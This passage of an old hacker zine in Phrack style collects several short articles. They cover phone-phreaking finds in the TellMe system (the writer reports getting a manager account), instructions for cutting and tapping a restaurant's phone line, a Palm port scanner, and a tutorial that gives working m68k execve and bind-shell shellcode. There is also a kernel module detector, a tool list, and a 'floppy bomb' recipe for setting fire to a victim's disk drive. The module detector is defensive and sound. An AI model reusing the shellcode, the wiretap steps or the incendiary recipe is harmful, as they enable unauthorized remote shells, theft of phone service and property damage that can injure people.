This leads to a very bizarre game of Rock/Paper/Scissors. It is one of the wierdest things that I have ever come across in all my days. I HIGHLY suggest you try it. It is like some whiney hillbilly guy...well see fer yerself!

Extension 11111:

A gypsy with an eight ball. You ask it questions, and it gives you answers. There are no disclaimers, so I guess this is the real deal! Saying "quit" or "Stop" won’t help you. Just shut the hell up, and it will kick you back into regular Tell-Me.

Extension 33333:

Produces the words "HELLO WORLD"

Extension 34118:

Produces a directory of TellMe’s offices, with the regular phone numbers.

Most of the worthy extensions consisted of foul language, so anyone under 18 should stop reading now...

Use the letters on your telephone keypad, and you will get some very intersting results. These are five letter words corresponding to the numbers on your phone.

CUNTS - Produces a string of numbers of unknown meaning. Just a long string of a computer voice saying "one, five, seven, three, twelve, eighty-eight" etc. I’ll figure out what that means later.

TITTY - This produces a fax tone, as opposed to a computer tone. I didn’t mess with it.

PENIS - This produces a verbal message about the sendmail system.

HOLES - This is the Quote of the Day.

BOOBS - This has to do with HTTP protocols.

SHIT0 - This is a directory of phone lines in the TellMe system.

FUCK0 - This is a very interesting directory of phone lines in the TellMe system. Two of the lines appear to be trusted lines, providing a computer tone which I used to log on. There was a first time user option, which gave me a manager’s account. (Do they have hundreds of managers?) What can it do? I was able to delete my own account and bring it back. I didn’t fuck with anyone elses account. My goal is not to destroy, but to learn.

PISS0 - As above, the TellMe system addresses me with a choice of talking to a live person, or an automated directory of phone lines. I'm amazed this is all behind a five digit password.

Damn0 - Yet another directory of trusted phone lines. This one, however askes you for another password right up front, so I'm assuming this is a more security sensative area!

Pussy - A discription of how to configure a TellMe webpage.

Cum69 - Advice on proper password generation. (hahahahahahahahahaha!!!!)

EATME - Computer tone leading to nowhere.

The TellMe security protocols are pathetic.

Archangel (The Teflon Con)
Wrath of God Hand Delivered
http://the.feds.are.lookingat.us

```
|=-----------------------------------------------------------------------=|
|=-=[ 3 - Shitboxing ]=--------------------------------------------------=|
|=-----------------------------------------------------------------------=|
```

by Agent5

So you're sitting in a small family owned type resturaunt or you're walking through a small store looking at their various wares and, as normal every couple times a day, you hear the call of nature. You make your way towards the (preferably single occupancy) mens room (or ladies for those few that may actually read this) and enter. So your doing your thing and you're lookin around checking out your surroundings (why? cause you're supposed to be fucking observant at all times.Thats why.) Your gaze takes you towards the ceiling. Looks like most most cheap drop down ceilings. hmmmm.... drop down ceiling.....easily removable. So you stand on the toilet, or whatever, and take a look. You pull out your pocket flashlight and take a look. Nothing but wires. Couple elecrical or telephone maybe... ..TELEPHONE? Does this mean i can sit on the throne and use the fone? Indeed it does! All you need is a few things to help you make your dream of phreaking at its absolute lazyest a reality.what you need will (besides your beigebox with a RJ-11 plug on the cord) probably cost you, at an extreme maximum, 3 bucks for parts and about 6 bucks for an telephone Line Crimper for standard telephone plugs (RJ-11) you will also need a... "modular line splitter - Provides two telephone jacks when plugged into the end of a telephone line cord. Standard 4-wire jacks. Color: Ivory"----bout dollar and change max cost. Most of these parts, if not all, can be found at your local radioshack. Now if you havent figured out what i'm getting at yet, you should seek medical attention immediately, CAT-scans have helped me alot.<twitch>

Heres what you do and make sure you do it quickly in case they try to use the telephone while the line is disconnected. SO make sure you lock the door and get to work fast....if you have people beginning to knock on the door just make some nasty shitting sounds and say you'll be out in a minute.

1. Cut the line. (no specific tools needed, something sharp will do)
2. Attach a plug to either end of the line you have just cut.
3. Put one end of the plug in one end of the modular line splitter, put the one thats left into one of the two holes on the front of the splitter.
4. Now you can either leave and let the intestinaly distressed old guy pouding on the door in, or you can plug your beige box in and have some fun.

Treat this as you would any other beige boxing session. Keep in mind that the people who own the telephone line may want to use it to and may not enjoy having someone on the line already. But for the most part this ordinary bathroom has just become a your private telephone booth, complete with running water and a toilet for the astronomical sum of 3 dollars US.

"This file brought to you by the makers of sharp things."

Shoutouts to Epiphany, Bizurke, Master Slate, Ic0n, Xenocide, Bagel, Hopping Goblin, Maddjimbeam, lioid, emerica, the rest of the #mabell ninja's, port7 alliance, and LPH crew .

```
|=-----------------------------------------------------------------------=|
|=-=[ 4 - PalmMap v1.6 - Nmap for Palm ]=--------------------------------=|
|=-----------------------------------------------------------------------=|
```

(submitted by Shaun Colley <shaunige at yahoo.co.uk>)

```
-----BEGIN PALMMAP-----
# PalmMap.bas
# PalmMap v1.6 - Nmap for Palm.

fn set_auto_off(0)
s$(0) = "Host:"
s$(2) = "Start Port:"
s$(4) = "End Port:"
f = form(9, 3, "PalmMap v1.6")
if f = 0 then end
if f = 2 then gosub about
let h$ = s$(1)
let p = val(s$(3))
let e = val(s$(5))
let i = p
let t$ = "PalmMap.log"
open new "memo", t$ as #4
form2:
cls
form btn 30 , 40 , 40 , 18, "connect()", 1
form btn 85 , 40, 40 , 18 , "TCP SYN" , 1
form btn 60 , 80 , 40 , 18 , "UDP scan" , 1
form btn 60 , 120, 40 , 18 , "TCP FIN " , 1
draw "Scan type?", 50, 20, 1
while
x = asc(input$(1))
if x = 14 then gosub scan
if x = 15 then print "Scan type not implemented as of
yet."
if x = 16 then print "Scan type not implemented as of
yet."
if x = 17 then print "Scan type not implemented as of
yet."
wend

sub scan
cls
print at 50, 40
while(i <= e)
c = fn tcp(1, h$, i)
if(c = 0)
print "Port ", i, "Open"
fn tcp(-1, "", 0)
print #4, "Port ", i, "Open"
else
fn tcp(-1, "", 0)
print #4, "Port ", i, "Closed"
endif
let i = i + 1
wend
close #4
```

```
print "Scan complete!"
end

sub about
cls
msgbox("PalmMap - Nmap for Palm.", "About PalmMap
1.6")
-----END PALMMAP-----
```

```
|=-----------------------------------------------------------------------=|
|=-=[ 5 - Writing Linux/mc68xxx Shellcodez ]=----------------------------=|
|=-----------------------------------------------------------------------=|
```

by madcr (madrats@mail.ru)

I   Introdaction.
II   Registers.
III Syscalls.
IV   Execve shellcode.
V   Bind-socket shellcode.
VI   References.

I. Introdaction.

The history Motorola begins already with 1920 then they let out radioelements and about computers of nothing it was known. Only in 1974, motorola lets out the first 8th the bit microprocessor - MC6800, containing 4000 transistors and in 1979 motorola announces the first 16th bit processor - MC68000, capable to process up to 2 million operations per one second. After 5 more years, in 1984 motorola relize the first 32th the bit processor (MC68020), containing 200000 transistors. Till 1994 inclusive motorola improved a series of the processors and in a result, in March, release MC68060 processor contained 2,5 million transistors. In present days, 68060 is the optimal processor for use any unix.

The processor can work in 2 modes: User and SuperVisor. It not analogy of the real and protected mode in x86 processors. It some kind of protection "just in case". In the user mode it is impossible to cause exceptions and it is impossible to have access to all area of memory. In supervisor mode all is accessible. Accordingly kernel work in Supervisor mode, and rest in User mode.

MC68 supported various manufacturers unix, such as netbsd, openbsd, redhat linux, debian linux, etc. Given article is focused on linux (in particular debian).

II. Registers.

The processor as a matter of fact the CISC (but there are some opportunities RISC), accordingly not so is a lot of registers:

Eight registers of the data: with %d0 on %d7.
Eight registers of the address: with %a0 on %a7.
The register of the status: %sr.
Two stack indexes: %sp and %fp
The program counter: %pc.

Basically it is not required to us of anything more. And the minimal set of instructions which is required to us by development shellcode:

instruction	example	description
move	movl %d0,%d1	Put value from %d0 in %d1

lea	leal %sp@(0xc),%a0	calculate the address on 0xc to displacement in the stack and it is put in. %a0.
eor	eorl %d0,%d1	xor
pea	pea 0x2f2f7368	push in stack ’//sh’

In total these 4 instructions will be enough for a spelling functional shellcode ?). And now it is high time to tell about the fifth, most important instruction (fifth, need us i mean) and about exceptions. The instruction trap - a call of exception. In processors motorola, only 256 exceptions, but of all of them are necessary for us only one - trap #0. In mc68 linux on this exception call to a kernel, for execution system call. Trap 0 refers to a vector located to the address $80h (strange concurrence). Now we shall stop on system calls more in detail.

III. System Calls.

System calls on the given architecture are organized thus:

%d0 - number of a system call.
%d1,%d2,%d3 - argv

i.e. to make banal setuid (0); we will have something unpretentious:

```
eorl %d2,%d2
movl %d2,%d1
movl #23,%d0
trap #0
```

Rather simple.

IV. Execve shellcode.

So, we shall start as always with old-kind execve:

```
 .globl _start
_start:
.text
        movl #11,%d0        /* execve()  (see unistd.h) */
        movl #m1,%d1        /* /bin/sh address          */
        movl #m2,%d2        /* NULL                     */
        movl #m2,%d3        /* NULL too                 */
        trap #0
.data
m1: .ascii "/bin/sh\0"
m2: .ascii "0\0".

# as execve.s -o execve.o ; ld execve.o -o execve
# ./execve
sh-2.03# exit
exit
#
```

Such code will not go, since he not pozitsio-independent and did not check him on zero. Therefore we shall rewrite him with participation of the stack (since the machine at us big endian the order of following of byte needs to be taken into account):

```
.globl _start
_start:
        moveq #11,%d0          /* execve()                             */
        pea 0x2f2f7368        /* //sh                               */
        pea 0x2f62696e        /* /bin  (big endian)                 */
        movel %sp,%d1         /* /bin/sh in %d1                     */
        eorl %d2,%d2          /* pea 0x0 + avoiding                 */
        movel %d2,%sp@-       /* zero byte                          */
        pea 0x130             /* pea 0030 -> 0130 = kill the zero   */
        movel %sp,%d2         /* NULL in %d2                        */
        movel %d2,%d3         /* NULL in %d2                        */
        trap #0               /* syscall                            */

# as execve2.s -o execve2.o ; ld execve2.o -o execve2
# ./execve2
sh-2.03# exit
exit
#
```

Very well. Now we shall mutate him in ascii and we shall look as it works:

```
char execve_shellcode[]=
"\x70\x0b"                    /* moveq #11,%d0               */
"\x48\x79\x2f\x2f\x73\x68"    /* pea 0x2f2f7368  -> //sh     */
"\x48\x79\x2f\x62\x69\x6e"    /* pea 0x2f62696e  -> /bin     */
"\x22\x0f"                    /* movel %sp,%d1               */
"\xb5\x82"                    /* eorl %d2,%d2    ->          */
"\x2f\x02"                    /* movel %d2,%sp@- -> pea 0x0  */
"\x48\x78\x01\x30"            /* pea 0x130                   */
"\x24\x0f"                    /* movel %sp,%d2               */
"\x26\x02"                    /* movel %d2,%d3               */
"\x4e\x40";                   /* trap #0                     */

main()
{
 int *ret;
 ret=(int *)&ret +2;
 *ret = execve_shellcode;
}


# gcc execve_shellcode.c -o execve_shellcode
# ./execve_shellcode
sh-2.03# exit
exit
#
```

Our shellcode. Perfectly. But certainly it is not enough of it, therefore we shall binding this shellcode on socket.

V. Bind-socket shellcode.

For the beginning we write our code on C:

```
#include <;;shiti;;>

main()
{
    int fd,dupa;
    struct sockaddr_in se4v;

    fd=socket(AF_INET,SOCK_STREAM,0);
    se4v.sin_port=200;
    se4v.sin_family=2;
    se4v.sin_addr.s_addr=0;

    bind(fd,(struct sockaddr *)&se4v,sizeof(se4v));
    listen(fd,1);
    dupa=accept(fd,0,0);
    dup2(dupa,0);
    dup2(dupa,1);
    dup2(dupa,2);
    execl("/bin/sh","sh",0);
}

# gcc -static bindshell.c -o bindshell &
# ./bindshell &
[1] 276
# netstat -an | grep 200
tcp        0          0    0.0.0.0:200            0.0.0.0:*             LISTEN
# telnet localhost 200
Trying 127.0.01...
Connected to localhost.
Escape character is '^]'.
echo aaaaaaaaaaaa
aaaaaaaaaaaa
ctrl+c
[1]+ Done     ./bindshell
```

All works. Now the last, that us interests - it as there is a work with a network.

```
# gdb -q ./bindshell
(gdb) disas socket
Dump of assembler code for function socket:
0x80004734 <socket>:     moveal %d2,%a0
0x80004736 <socket+2>:   moveq #102,%d0
0x80004738 <socket+4>:   moveq #1,%d1
0x8000473a <socket+6>:   lea %sp@(4),%a1
0x8000473e <socket+10>:  movel %a1,%d2
0x80004740 <socket+12>:  trap #0
0x80004742 <socket+14>:  movel %a0,%d2
0x80004744 <socket+16>:  tstl %d0
0x80004746 <socket+18>:  bmil 0x80004958 <__syscall_error>
0x8000474c <socket+24>:  rts
0x8000474e <socket+26>:  rts
End of assembler dump.
(gdb)
```

Perfectly. As well as everywhere - 102 = socket_call. 1 - sys_socket. (for the full list look net.h). Proceeding from the aforesaid we shall write it on the assembler:

```
.globl _start
_start:

/* socket(AF_INET,SOCK_STREAM,0); ---------------------------------------- */
/* af_inet - 2, sock_stream - 1, ip_proto0 - 0 */

        moveq #2,%d0
        movl %d0,%sp@        /* sock_stream */

        moveq #1,%d0
        movel %d0,%sp@(0x4)   /* AF_INET     */

        eorl %d0,%d0
        movl %d0,%sp@(0x8)

        movl %sp,%d2    /* put in d2 the address in the stack on where our argv*/

        movl #0x66,%d0   /* socketcall (asm/unistd.h) */
        movl #1,%d1      /* sys_socket (linux/net.h)  */
        trap #0          /* go on vector 80 */
```

```
/* -bind(socket,(struct sockaddr *)&serv,sizeof(serv));-------------------- */

        movl %d0,%sp@          /* in d0 back descriptor on socket */

        move #200,%d0
        movl %d0,%sp@(0xc)     /* port number        */

        eorl %d0,%d0
        movl %d0,%sp@(0x10)    /* sin_addr.s_addr=0  */

        moveq #2,%d0
        movl %d0,%sp@(0x14)    /* sin_family=2       */


/* Let’s calculate the address of an arrangement of constants of the     */
/* second argument and we shall put this address as the second argument  */

        leal %sp@(0xc),%a0
        movl %a0,%sp@(0x4)

        moveq #0x10,%d0
        movl %d0,%sp@(0x8)    /* third argument 0x10 */

        movl #0x66,%d0        /* socketcall (asm/unistd.h) */
        movl #2,%d1           /* sys_bind (linux/net.h)    */
        trap #0               /* go on vector 80           */


/* listen (socket,1); ----------------------------------------------------- */
/* descriptor socket’s already in stack.                                    */
/*------------------------------------------------------------------------- */
        moveq #1,%d0
        movl %d0,%sp@(4)

/* in d2 already put address of the beginning arguments in the stack */

        movl #0x66,%d0       /* scoketcall (asm/unistd.h) */
        movl #4,%d1          /* sys_listen (linux/net.h)  */
        trap #0              /* go on vector 80           */

/* accept (fd,0,0); ------------------------------------------------------- */

       eorl %d0,%d0
       movl %d0,%sp@(4)
       movl %d0,%sp@(8)


       movl #0x66,%d0       /* scoketcall (asm/unistd.h) */
       movl #5,%d1          /* sys_accept (linux/net.h)  */
       trap #0              /* go on vector 80           */

/* dup2 (cli,0); ---------------------------------------------------------- */
/* dup2 (cli,1); ---------------------------------------------------------- */
/* dup2 (cli,2); ---------------------------------------------------------- */

       movl %d0,%d1
       movl #0x3f,%d0
       movl #0,%d2
       trap #0

       movl %d0,%d1
       movl #0x3f,%d0
       movl #1,%d2
       trap #0

       movl %d0,%d1
       movl #0x3f,%d0
       movl #2,%d2
       trap #0

/* execve ("/bin/sh"); ----------------------------------------------------- */

      movl #11,%d0       /* execve */
      pea 0x2f2f7368     /* //sh   */
      pea 0x2f62696e     /* /bin   */
      movl %sp,%d1       /*  /bin/sh in %d1 */

      eorl %d2,%d2
      movl %d2,%sp@-     /* pea 0x0 */
      pea 0x0130         /* 0030 -> 0130 = kill the zero */

      movl %sp,%d2
      movl %d2,%d3
      trap #0

/* ---EOF---bindsock shellcode--------------------------------------------- */
```

```
# as bindshell.s -o bindshell.o ; ld bindshell.o -o bindshell
# ./bindshell &
[309]
# telnet localhost 200
Trying 127.0.01...
Connected to localhost.
Escape character is '^]'.
echo aaaaaaaaaaaa
aaaaaaaaaaaa
ctrl+c
```

In general and all. The code certainly super-not optimized, is some zero, but the general picture I hope has given. And at last how it should be:

```
char bind_shellcode[]=
"\x70\x02"                    /*  moveq #2,%d0          */
"\x2e\x80"                    /*  movel %d0,%sp@        */
"\x70\x01"                    /*  moveq #1,%d0          */
"\x2f\x40\x00\x04"            /*  movel %d0,%sp@(4)     */
"\xb1\x80"                    /*  eorl %d0,%d0          */
"\x2f\x40\x00\x08"            /*  movel %d0,%sp@(8)     */
"\x24\x0f"                    /*  movel %sp,%d2         */
"\x70\x66"                    /*  moveq #102,%d0        */
"\x72\x01"                    /*  moveq #1,%d1          */
"\x4e\x40"                    /*  trap #0               */
"\x2e\x80"                    /*  movel %d0,%sp@        */
"\x30\x3c\x00\xc8"            /*  movew #200,%d0        */
"\x2f\x40\x00\x0c"            /*  movel %d0,%sp@(12)    */
"\xb1\x80"                    /*  eorl %d0,%d0          */
"\x2f\x40\x00\x10"            /*  movel %d0,%sp@(16)    */
"\x70\x02"                    /*  moveq #2,%d0          */
"\x2f\x40\x00\x14"            /*  movel %d0,%sp@(20)    */
"\x41\xef\x00\x0c"            /*  lea %sp@(12),%a0      */
"\x2f\x48\x00\x04"            /*  movel %a0,%sp@(4)     */
"\x70\x10"                    /*  moveq #16,%d0         */
"\x2f\x40\x00\x08"            /*  movel %d0,%sp@(8)     */
"\x70\x66"                    /*  moveq #102,%d0        */
"\x72\x02"                    /*  moveq #2,%d1          */
"\x4e\x40"                    /*  trap #0               */
"\x70\x01"                    /*  moveq #1,%d0          */
"\x2f\x40\x00\x04"            /*  movel %d0,%sp@(4)     */
"\x70\x66"                    /*  moveq #102,%d0        */
"\x72\x04"                    /*  moveq #4,%d1          */
"\x4e\x40"                    /*  trap #0               */
"\xb1\x80"                    /*  eorl %d0,%d0          */
```

```
"\x2f\x40\x00\x04"              /*  movel %d0,%sp@(4)      */
"\x2f\x40\x00\x08"              /*  movel %d0,%sp@(8)      */
"\x70\x66"                      /*  moveq #102,%d0         */
"\x72\x05"                      /*  moveq #5,%d1           */
"\x4e\x40"                      /*  trap #0                */
"\x22\x00"                      /*  movel %d0,%d1          */
"\x70\x3f"                      /*  moveq #63,%d0          */
"\x74\x00"                      /*  moveq #0,%d2           */
"\x4e\x40"                      /*  trap #0                */
"\x22\x00"                      /*  movel %d0,%d1          */
"\x70\x3f"                      /*  moveq #63,%d0          */
"\x74\x01"                      /*  moveq #1,%d2           */
"\x4e\x40"                      /*  trap #0                */
"\x22\x00"                      /*  movel %d0,%d1          */
"\x70\x3f"                      /*  moveq #63,%d0          */
"\x74\x02"                      /*  moveq #2,%d2           */
"\x4e\x40"                      /*  trap #0                */
"\x70\x0b"                      /*  moveq #11,%d0          */
"\x48\x79\x2f\x2f\x73\x68"      /*  pea 2f2f7368           */
"\x48\x79\x2f\x62\x69\x6e"      /*  pea 2f62696e           */
"\x22\x0f"                      /*  movel %sp,%d1          */
"\xb5\x82"                      /*  eorl %d2,%d2           */
"\x2f\x02"                      /*  movel %d2,%sp@-        */
"\x48\x78\x01\x30"              /*  pea 130                */
"\x24\x0f"                      /*  movel %sp,%d2          */
"\x26\x02"                      /*  movel %d2,%d3          */
"\x4e\x40";                     /*  trap #0                */

main()
{
 int *ret;
 ret=(int *)&ret +2;
 *ret = bind_shellcode;
}
```

p.s. as always - sorry for my poor english.

VI. References.

[1] http://e-www.motorola.com/collateral/M68000PRM.pdf - programmer's manual
[2] http://e-www.motorola.com/brdata/PDFDB/docs/MC68060UM.pdf - user's manual
[3] http://www.lsd-pl.net/documents/asmcodes-1.0.2.pdf   - good tutorial

```
|=-----------------------------------------------------------------------=|
|=-=[ 6 - Finding hidden kernel modules (the extrem way) ]=--------------=|
|=-----------------------------------------------------------------------=|
```

by madsys <madsys at ercist.iscas.ac.cn>

1 Introduction
2 The technique of module hiding
3 Countermeasure -- brute force
4 Problem of unmapped
5 Greetings
6 References
7 Code

1 Introduction

This paper presents a method for how to find out the hidden modules in linux system. Generaly speaking, most of the attackers intend to hide their modules after taking down the victim. They like this way to prevent the change of kernel from being detected by the administrator. As modules were linked to a singly linked chain, the original one was unable to be recovered while some modules have been removed. In this sense, to retrieve the hidden modules came up to be hard. Essential C skill and primary knowledge of linux kernel are needed.

2 The technique of module hiding

```
================================
```

First of all, the most popular and general technique of module hiding and the quomodo of application to get module’s list were examined. An implement of module hiding was shown as below:

```
    ----snip----
    struct module *p;

    for (p=&__this_module; p->next; p=p->next)
        {
            if (strcmp(p->next->name, str))
                continue;
            p->next=p->next->next;        // <-- here it
removes that module
                break;
        }

    ----snip----
```

As you can see, in order to hide one module, the unidirectional chain was modified, and following is a snippet of sys_create_module() system call, which might tell why the technique worked:

```
    ----snip----
    spin_lock_irqsave(&modlist_lock, flags);
    mod->next = module_list;
    module_list = mod;    /* link it in */
    spin_unlock_irqrestore(&modlist_lock, flags);
    ----snip----
```

A conclusion could be made: modules linked to the end of unidirectional chain when they were created.

"lsmod" is an application on linux for listing current loaded modules, which uses sys_query_module() system call to get the listing of loaded modules, and qm_modules() is the actual function called by it while querying modules:

```
static int qm_modules(char *buf, size_t bufsize, size_t *ret)
{
    struct module *mod;
    size_t nmod, space, len;

    nmod = space = 0;

    for (mod=module_list; mod != &kernel_module; mod=mod->next,
++nmod) {
        len = strlen(mod->name)+1;
        if (len > bufsize)
            goto calc_space_needed;
        if (copy_to_user(buf, mod->name, len))
            return -EFAULT;
        buf += len;
        bufsize -= len;
        space += len;
    }

    if (put_user(nmod, ret))
```

```
        return -EFAULT;
    else
        return 0;

calc_space_needed:
    space += len;
    while ((mod = mod->next) != &kernel_module)
        space += strlen(mod->name)+1;

    if (put_user(space, ret))
        return -EFAULT;
    else
        return -ENOSPC;
}
```

note: pointer module_list is always at the head of the singly linked chain. It clearly showing the technique of hiding module was valid.

3 Countermeasure -- brute force

According to the technique of hiding module, brute force might be useful. sys_creat_module() system call was expressed as below.

```
    --snip--
    if ((mod = (struct module *)module_map(size)) == NULL) {
        error = -ENOMEM;
        goto err1;
    }
    --snip--
```

and the macro module_map in "asm/module.h":

```
    #define module_map(x)    vmalloc(x)
```

You should have noticed that the function calls vmalloc() to allocate the module struct. So the size limitation of vmalloc zone for brute force is able to be exploited to determine what modules in our system on earth. As you know, the vmalloc zone is 128M(2.2, 2.4 kernel, there are many inanition zones in it), however, any allocated module should be aligned by 4K. Therefor, the theoretical maximum number we were supposed to detect was 128M/4k=32768.

4 Problem of unmapped

By far, maybe you think: umm, it’s very easy to use brute force to list those evil modules". But it is not true because of an important reason: it is possible that the address which you are accessing is unmapped, thus it can cause a paging fault and the kernel would report: "Unable to handle kernel paging request at virtual address".

So we must make sure the address we are accessing is mapped. The solution is to verify the validity of the corresponding entry in kernel pgd(swapper_pg_dir) and the corresponding entry in page table.Furthermore, we were supposed to make sure the content of address pointed by "name" pointer(in struct module) was valid. Because the 768~1024 entries of user process’s pgd were synchronous with kerenl pgd, and that was why such hardcore address of kernel pgd (0xc0101000) was used.

following is the function for validating those entries in pgd or pgt:

```
int valid_addr(unsigned long address)
{
    unsigned long page;
    if (!address)
        return 0;

    page = ((unsigned long *)0xc0101000)[address >> 22];
//pde
    if (page & 1)
    {
        page &= PAGE_MASK;
        address &= 0x003ff000;
        page = ((unsigned long *) __va(page))[address >>
PAGE_SHIFT];    //pte
        if (page)
            return 1;
    }

    return 0;
}
```

After validating those addresses which we would check, the next step would be easy -- just brute force. As the list of modules including hidden modules had been created, you could compare it with the output of "lsmod". Then you can find out those evil modules and get rid of them freely.

5 Greetings

Shout to uberhax0rs@linuxforum.net

6 Code

```
-----BEGING MODULE_HUNTER.C-----
/*
 * module_hunter.c: Search for patterns in the kernel address space that
 * look like module structures. This tools find hidden modules that
 * unlinked themself from the chained list of loaded modules.
 *
 * This tool is currently implemented as a module but can be easily ported
 * to a userland application (using /dev/kmem).
 *
 * Compile with: gcc -c module_hunter.c -I/usr/src/linux/include
 * insmod ./module_hunter.o
 *
 * usage: cat /proc/showmodules && dmesg
 */

#define MODULE
#define __KERNEL__

#include <linux/config.h>

#ifdef CONFIG_SMP
#define __SMP__
#endif

#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/version.h>

#include <linux/unistd.h>
#include <linux/string.h>
```

```
#include <linux/proc_fs.h>

#include <linux/errno.h>
#include <asm/uaccess.h>


#include <asm/pgtable.h>
#include <asm/fixmap.h>
#include <asm/page.h>

static int errno;


int valid_addr(unsigned long address)
{
    unsigned long page;

    if (!address)
        return 0;

    page = ((unsigned long *)0xc0101000)[address >> 22];

    if (page & 1)
    {
        page &= PAGE_MASK;
        address &= 0x003ff000;
        page = ((unsigned long *) __va(page))[address >> PAGE_SHIFT];  //pte
        if (page)
            return 1;
    }

    return 0;
}

ssize_t
showmodule_read(struct file *unused_file, char *buffer, size_t len, loff_t *off)
{
    struct module *p;

    printk("address                         module\n\n");
    for (p=(struct module *)VMALLOC_START; p<=(struct \
module*)(VMALLOC_START+VMALLOC_RESERVE-PAGE_SIZE); p=(struct module \
*)((unsigned long)p+PAGE_SIZE))
    {
        if (valid_addr((unsigned long)p+ (unsigned long)&((struct \
module *)NULL)->name) && valid_addr(*(unsigned long *)((unsigned long)p+ \
(unsigned long)&((struct module *)NULL)->name)) && strlen(p->name))
            if (*p->name>=0x21 && *p->name<=0x7e && (p->size < 1 <<20))
                printk("0x%p%20s size: 0x%x\n", p, p->name, p->size);
    }

    return 0;
}

static struct file_operations showmodules_ops = {
    read:    showmodule_read,
};

int init_module(int x)
{
    struct proc_dir_entry *entry;

    entry = create_proc_entry("showmodules", S_IRUSR, &proc_root);
    entry->proc_fops = &showmodules_ops;

    return 0;
}

void cleanup_module()
{
    remove_proc_entry("showmodules", &proc_root);
}

MODULE_LICENSE("GPL");
MODULE_AUTHOR("madsys<at>ercist.iscas.ac.cn");
-----END MODULE-HUNTER.C-----
```

```
|=-----------------------------------------------------------------------=|
|=-=[ 7 - Good old floppy bombs ]=---------------------------------------=|
|=-----------------------------------------------------------------------=|
```

[Note by the editors: We felt like it's time for a re-print of some already forgotton fun with pyro techniques. Enjoy.]

```
                    ####################################
                    #   How To Make A Diskette Bomb    #
                    #       by Phrick-A-Phrack         #
                    ####################################
```

Before I even start i want to make it clear that i do NOT take any responsibility on the use of the information in this document.

This little baby is good to use to stuff up someones computer a little. It can be adapted to a range of other things.

You will need:

- A disk (3.5" floppys are a good disk to use)
- Scissors
- White or blue kitchen matches (i have not found any other colors that work - im not sure why)
- Clear nail polish

What to do:

- Carefully open up the diskette
- remove the cotton covering from the inside.
- scrape a lot of match powder into a bowl (use a woodent scraper as metal might spark and ignite the match powder)
- After you have a lot, spread it EVENLY on the disk.
- Spread nail polish over the match powder on the disk.
- let it dry.
- carefully put the diskette back together and use the nail plish to seal is shut.

How to use it:

Give it to someone you want to give a fright and stuff up their computer a little. Tell them its got something they are interested in on it. When they put it in their drive the drive head attempts to read the disk which causes a small fire - enough heat to melt the disk drive and stuff the head up!

^^Phrick-A-Phrack^^

```
|=[ EOF ]=---------------------------------------------------------------=|
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x04 of 0x0f

```
|=------------------=[ T O O L Z   A R M O R Y ]=------------------------=|
|=-----------------------------------------------------------------------=|
|=----------------------=[ Phrack  Staff ]=------------------------------=|
```

This new section, Phrack Toolz Armory, is dedicated to tool annoucements. We will showcast selected tools of relevance to the computer underground which have been released recently.

Drop us a mail if you develop something kewl that you think is worth of being mentioned in #62.

Content:

1 - Scapy, Interactive Packet Manipulation Program by Biondi
2 - ShellForge, Shellcode Builder by Biondi
3 - objobf : burneye2 IA32 object file obfuscator by team-teso
4 - ELFsh, ELF objects manipulation scripting langage by Devhell labs.
5 - Packit, Network injection, capture and auditing by D. Bounds

----[1 - Scapy : interactive packet manipulation program

URL : http://www.cartel-securite.fr/pbiondi/scapy.html
Author : biondi@cartel-securite.fr
Comment : Scapy is a powerful interactive packet manipulation tool, packet generator, network scanner, network discovery tool, and packet sniffer. It provides classes to interactively create packets or sets of packets, manipulate them, send them over the wire, sniff other packets from the wire, match answers and replies, and more. Interaction is provided by the Python interpreter, so Python programming structures can be used (such as variables, loops, and functions). Report modules are possible and easy to make. It is able to do about the same things as ttlscan, nmap, hping, queso, p0f, xprobe, arping, arp-sk, arpspoof, firewalk, irpas, tethereal, tcpdump, etc.

Here are some techniques that you can use it for : port, protocol, network scans, arp cache poisonning, dns poisonning, DoSing, nuking, sniffing etherleaking, icmpleaking, firewalking, NAT discovery, fingerprinting, etc.

----[2 - ShellForge : shellcode builder

URL : http://www.cartel-securite.fr/pbiondi/shellforge.html
Author : biondi@cartel-securite.fr
Comment : ShellForge is a kit that builds shellcodes from C. It is inspired from Stealth's Hellkit. This enables to create very complex shellcodes (see example which scans ports). C header files are included that provide macros to substitute libc calls with direct system calls and an Python script automates compilation, extraction, encoding and tests.

----[3 - objobf : burneye2 IA32 object file obfuscator

URL : http://www.team-teso.net/projects/objobf/
Author : teso@team-teso.net
Comment : Objobf is part of the burneye2 binary security suite. It is an ELF relocatable object file obfuscation program. While still a beta release it works well on smaller object files and can significantly increase the time for manual decompilation. Within the downloadable

tarball there are some examples. Besides obfuscation it does limited code and dataflow analysis and displays them in high quality graphs, using the free xvcg or the propietary aiSee graphing tools.
Full sourcecode of the objobf tool is available at the above URL.

----[4 - ELFsh 0.51b2 portable : ELF objects manipulation scripting language

URL : http://elfsh.devhell.org
http://elfsh.segfault.net (mirror)
Author : elfsh@devhell.org
Comments : ELFsh is an interactive and scriptable ELF machine to play with executable files, shared libraries and relocatable ELF32 objects. It is useful for daily binary manipulations such as on-the-fly patching, embedded code injection, and binary analysis in research fields such as reverse engineering, security auditing and intrusion detection. ELFsh is based on libelfsh, so that the API is really useable in opensource projects. This version works on 2 architectures (INTEL, SPARC) and 4 OS (Linux, FreeBSD, NetBSD, Solaris).

----[5 - Packit : Network injection, capture and auditing tool

URL : http://packit.sf.net
Author : Darren Bounds <dbounds@intrusense.com>
Comments : Packit (Packet toolkit) is a network auditing tool. Its value is derived from its ability to customize, inject, monitor, and manipulate IP traffic. By allowing you to define (spoof) nearly all TCP, UDP, ICMP, IP, ARP, RARP, and Ethernet header options, Packit can be useful in testing firewalls, intrusion detection/prevention systems, port scanning, simulating network traffic, and general TCP/IP auditing. Packit is also an excellent tool for learning TCP/IP. It has been successfully compiled and tested to run on FreeBSD, NetBSD, OpenBSD, MacOS X and Linux.

|=[EOF]=--=|

```
phrack.org:~# cat .bash_history

                            ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x04 of 0x0f

|=---------------=[ P R O P H I L E   O N   D I G I T ]=-----------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------=[ Phrack Staff ]=------------------------------=|


|=---=[ Specification

                Handle: DiGiT
                   AKA: digit, eskimo, icemonkey
         Handle origin: its not a funny story
             catch him: digit@security.is
      Age of your body: 22
           Produced in Reykjavik, Iceland
       Height & Weight: 192cm, 80kg
                  Urlz: none
